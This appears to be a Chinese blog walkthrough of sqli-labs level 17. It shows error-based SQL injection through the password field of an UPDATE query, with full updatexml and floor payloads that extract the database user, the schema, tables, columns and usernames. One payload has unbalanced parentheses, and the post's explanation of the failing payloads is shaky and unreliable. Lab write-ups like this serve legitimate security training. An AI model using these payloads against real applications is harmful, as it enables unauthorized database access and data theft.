sqli-labs 第十七关

目录

找注入点:

源码分析:

测试:

奇怪现象:

        (1):当我们输入的密码为字符进行注入时。

        (2):当我们输入的密码为整数时。

产生原因:

解决方法:

开始注入:

            注入用户名:

           注入数据库名:

            注入表名:

             注入列名:

               注入具体值:


找注入点:

       

        经过我们的测试,当在密码出输入一个单引号时就会出现报错,对此注入点可能就在该位置。

       

源码分析:

       可以发现,这里使用update语句来修改用户的密码,并且对我们输入的用户名进行了过滤但并没有对密码进行过滤。并且允许sql语句报错,由此我们可以使用报错注入。

       

        

测试:

        在上面已经确认使用报错注入来完成,我们先测试看看能不能注入出数据。

奇怪现象:

        接下来我们一步一步注入。

        (1):当我们输入的密码为字符进行注入时。

        一:注入用户名

                admin' and updatexml(1,concat(0x7e,(user(),0x7e),1)#

        二:注入数据库名

                admin' and updatexml(1,concat(0x7e,(database()),0x7e),1) #

        三:注入表名

                admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

               这里,我们发现我们输入这句sql报了上面这个错误,但是我们的sql注入语句并没有写错。这就是我们的奇怪现象之一。

        (2):当我们输入的密码为整数时。

                我们接着上面测试注入表名。

                2' and updatexml(1,concat(0x7e,(select group_concat(table_name) from                 information_schema.tables where table_schema='security'),0x7e),1)#

        这里我们发现当我们的密码为整数时就可以注入出数据。这就是第二个奇怪现象。

产生原因:

        经过我在各种论坛上去查找,终于找到了原因。

        (1):在Update语句中从左到右执行,当前面输入的密码为字符时并且到and时语法就会出现错误。之所以前面的用户名和数据库名会被爆出来,是因为user()和database()是mysql内置的函数,优先级较高,优先执行,所以会被爆出来。如下:

 admin' and updatexml(1,concat(0x7e,(user(),0x7e),1)#
admin' and updatexml(1,concat(0x7e,(database()),0x7e),1) #

        (2)当前面的输入的密码 为整数时,之所以可以被执行,是因为当我们输入的为整数时相当与给后面的语句加上了一个括号,并且有限执行括号中的内容。所以能够爆出数据。

2' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

解决方法:

        我们可以使用在前面输入的密码为整数的方式进行注入。也可以使用floor报错函数进行注入。

开始注入:

        我们使用前面密码为整数的方式来进行注入。

            注入用户名:

           2' and updatexml(1,concat(0x7e,(user()),0x7e),1)#

           注入数据库名:

                2' and updatexml(1,concat(0x7e,(database()),0x7e),1)#

            注入表名:

2' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#      

                       

             注入列名:

2' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)# 

        

               注入具体值:

23' and(select 1 from (select count(*),concat(substring((select group_concat(username) from users),1,32),floor(rand(0)*2))x from information_schema.tables group by x)a)#

    

到此我们实验就完美注入了。

小插曲:

大家可以看到在最后注入具体值的时候我们使用的是floor进行注入,是因为当我们使用updatexml进行注入时会爆下面的问题: 等我查阅资料后回来改正。

2' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)#

总结:这里推荐大家使用floor进行报错注入,使用floor报错注入就不会出现任何问题。

  • 15
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值